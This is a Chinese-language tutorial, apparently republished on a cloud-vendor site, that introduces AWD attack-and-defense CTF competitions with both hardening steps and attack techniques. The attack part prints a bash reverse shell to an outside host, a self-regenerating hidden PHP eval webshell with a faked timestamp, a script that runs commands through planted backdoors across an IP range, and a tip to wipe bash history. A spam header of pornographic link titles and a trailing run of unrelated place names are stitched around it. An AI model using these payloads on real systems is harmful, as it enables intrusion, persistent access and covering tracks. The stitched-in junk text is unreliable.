亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

CTF?AWD入門實例分析

發布時間:2022-10-26 09:59:22 來源:億速云 閱讀:188 作者:iii 欄目:開發技術

這篇文章主要介紹了CTF AWD入門實例分析的相關知識,內容詳細易懂,操作簡單快捷,具有一定借鑒價值,相信大家閱讀完這篇CTF AWD入門實例分析文章都會有所收獲,下面我們一起來看看吧。

    引文

    AWD賽制是一種網絡安全競賽的賽制。AWD賽制由安全競賽專家及行業專家憑借十多年實戰經驗,將真實網絡安全防護設備設施加入抽象的網絡環境中,模擬、企業、院校等單位的典型網絡結構和配置,開展的一種人人對抗的競賽方式,考驗參賽者攻防兼備的能力。

    其主要特點為:強調實戰性、實時性、對抗性,綜合考量競賽隊的滲透能力和防護能力。

    站點部署

    比賽開始時我們會分配到一個至多個靶機,通常是分配給我們ssh 用戶名和密碼還有虛擬ip等信息,我們需要自己去連接靶機。個人推薦使用xshell搭配xftp來使用,當我們連接靶機之后要做什么呢。

    CTF?AWD入門實例分析

    dump源碼

    比賽開始第一件事,dump網站源碼,使用ssh工具保留源碼,復制兩份,用d盾去掃一份,因為當我們靶機受到攻擊時對手可能直接刪除我們的源碼導致靶機DOWN機,而通常比賽中主辦方會在源碼中留有一些后門,我們用D盾去掃描一下來進行修復攻擊

    數據庫備份

    我們登錄數據庫來進行備份,當數據被刪除時可以使用命令快速還原。

    mysqldump -u db_user -p db_passwd db_name > 1.sql //備份指定數據庫

    還原命令:

    mysql -u db_user -p db_passwd db_name < 1.sql //還原指定數據庫

    修改密碼

    當主辦方給我們的連接密碼過于簡單時,不排除對手先登錄我們靶機來進行破壞,于是我們要快速修改弱口令密碼。

    linux修改ssh即本地密碼:

    passwd

    修改mysql登錄密碼:

    mysql>set password for root@localhost =password('xino');

    關閉不必要端口

    一些端口會存在漏洞,為了保證安全我們關閉一些不必要的端口來進行維護:

    CTF?AWD入門實例分析

    部署WAF

    WAF是用來分析阻擋對手攻擊的工具它可以分析流量,別人攻擊我們的時候,我們可以看到別人的攻擊方式。當沒有攻擊思路時我們就可以分析流量,使用別人的攻擊方式。 部署方式如下:

    每個文件前邊加:

    require_once(waf.php);

    為了方便我們可以修改php.ini配置文件,來自動給當前文件夾下文件頭部添加:

    auto_prepend_file=<filename>;

    攻擊(ATTACK)

    當我們部署完自己的靶機確認沒有漏洞后,我們便可以嘗試攻擊別人機器了。

    弱口令

    當發現靶機存在弱口令后,我們就可以遍歷IP地址來查詢存活的機器來自動連接查找FLAG,或者在受害者靶機里植入后門文件來維持我們的控制。

    自帶后門

    通常靶機會有自帶的后門木馬,我們知道路徑后便可以寫一個腳本批量連接來提交FLAG。

    nmap

    掃描C段存活主機:

     .\nmap xxx.xxx.xxx.xxx/24

    保存為TXT文件以便于之后編寫腳本去攻擊。

    CTF?AWD入門實例分析

    WEB攻擊

    舉幾個比較常見的WEB攻擊方式:

    文件讀取,偽協議方式讀取flag

    文件上傳,繞過黑白名單上傳一句話,用工具連接查找flag

    命令執行,通過system等函數來遍歷文件

    SQL注入,尋找注入點注出flag

    當我們找到上面漏洞后,盡量去寫一個腳本來自動提交flag,之后再去尋找其他漏洞。

    寫入木馬

    因為AWD賽制是回合制,所以我們要想保持長時間穩定上分就要時刻控制別人靶機,也就是要傳入木馬但又不能被對手發現,下面列舉幾個權限維持的小技巧。

    bash反彈shell

    利用預留后門上傳上面的php文件并訪問,就可以用nc反彈shell,nc反彈shell命令如下:

    bash -i >& /dev/tcp/xx.xxx.xxx.xxx/9 0>&1
    nc -l -p 8080

    CTF?AWD入門實例分析

    注意: 使用bash命令,會在root目錄生成名為~/.bash_history的記錄文件,我們要清除來消除威脅。

    不死馬

    一個簡單的不死馬:

    <?php
    	    ignore_user_abort(true);
    	    set_time_limit(0);
    	    unlink(__FILE__);
    	    $file = '.config.php';
    	    $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
    	    //pass=pass
    	    while (1){
    	        file_put_contents($file,$code);
    	        system('touch -m -d "2020-10-21 04:17:18" .config.php');
    	        usleep(5000);
    	    }
    	?>

    不死馬的作用就是將該php文件上傳到服務器,然后進行訪問,會在該路徑下循環生成名字為.config.php的不死馬隱藏文件。以此來達到權限維持。

    提交腳本

    比賽中可能會有幾十臺靶機,盡管我們知道了如何攻擊,但一個一個打似乎有一些太慢了,所以這時我們要利用腳本去批量提交解放雙手。這里就在網上找了幾個常用的:

    預留后門利用腳本:

    import requests
    url_head="http://xxx.xx.xxx."    #網段
    url=""
    shell_addr="/Upload/index.php"
    passwd="xxxxx"                    #木馬密碼
    port="80"
    payload =  {passwd: 'system('cat /flag');'}
    webshelllist=open("webshelllist.txt","w")
    flag=open("firstround_flag.txt","w")
    for i in range(30,61):
        url=url_head+str(i)+":"+port+shell_addr
        try:
            res=requests.post(url,payload,timeout=1)
            if res.status_code == requests.codes.ok:
                result = url+" connect shell sucess,flag is "+res.text
                print result
                print >>flag,result
                print >>webshelllist,url+","+passwd
            else:
                print "shell 404"
        except:
            print url+" connect shell fail"
    webshelllist.close()
    flag.close()

    批量提交flag腳本(需根據要求自行修改):

    import sys
    import json
    import urllib
    import httplib
    server_host = ' '    #提交flag的服務器地址
    server_port = 80
    def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
        if not team_token or not flag:
            raise Exception('team token or flag wrong')
        conn = httplib.HTTPConnection(host, port, timeout=timeout)
        params = urllib.urlencode({        #提交需要post的參數,根據情況修改
            'token': team_token,    
            'flag': flag,
        })
        headers = {
            "Content-type": "application/x-www-form-urlencode"
        }
        conn.request('POST', '[submit_flag_dir]', params, headers)    #第二個參數為提交flag的目錄
        response = conn.getresponse()
        data = response.read()
        return json.loads(data)
    if __name__ == '__main__':
        if len(sys.argv) < 3:
            print 'usage: ./submitflag.py [team_token] [flag]'
            sys.exit()
        host = server_host
        if len(sys.argv) > 3:
            host = sys.argv[3]
        print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

    防御(DEFENSE)

    既然有攻擊那么也需要防御別人的攻擊,上面其實已經講了一些防御的技巧了,比如修改弱口令,上傳WAF等,這里就簡單總結一下其他常用的知識吧。

    查找flag的位置

    find / -name *flag*

    查找password

    find .|xargs grep "password"

    查看以建立的連接和進程

    netstat -antulp | grep EST

    結束進程

    kill PID
    killall <進程名>  

    檢測TCP連接數量

    netstat -ant|awk  |grep |sed -e  -e |sort|uniq -c|sort -rn

    chattr命令防止系統中某個關鍵文件被修改

    chattr +i /etc/resolv.conf

    流量監控

    當別人訪問我們靶機時請求的URL可能就是攻擊的payload,我們如果知道他們的請求就可以利用他們的手段來反打過去,這個基于流量監控來實現,一個簡單的腳本如下:

    <?php
    date_default_timezone_set('Asia/Shanghai');
    $ip = $_SERVER["REMOTE_ADDR"]; //記錄訪問者的ip
    $filename = $_SERVER['PHP_SELF']; //訪問者要訪問的文件名
    $parameter = $_SERVER["QUERY_STRING"]; //訪問者要請求的參數
    $time = date('Y-m-d H:i:s',time()); //訪問時間
    $logadd = '來訪時間:'.$time.'-->'.'訪問鏈接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
    // log記錄
    $fh = fopen("log.txt", "a");
    fwrite($fh, $logadd);
    fclose($fh);
    ?>

    關于“CTF AWD入門實例分析”這篇文章的內容就介紹到這里,感謝各位的閱讀!相信大家對“CTF AWD入門實例分析”知識都有一定的了解,大家如果還想學習更多知識,歡迎關注億速云行業資訊頻道。

    向AI問一下細節

    免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

    AI

    涿鹿县| 呼伦贝尔市| 玉环县| 泰安市| 南江县| 嘉善县| 洛南县| 涡阳县| 琼海市| 仪陇县| 榆中县| 驻马店市| 华宁县| 南皮县| 江西省| 正安县| 沙湾县| 阿合奇县| 辛集市| 阿尔山市| 开鲁县| 车致| 萨迦县| 大化| 崇州市| 方城县| 遂昌县| 汽车| 日喀则市| 中山市| 嘉定区| 巩留县| 四川省| 盘山县| 北流市| 临武县| 内丘县| 南川市| 宣城市| 麻江县| 永和县|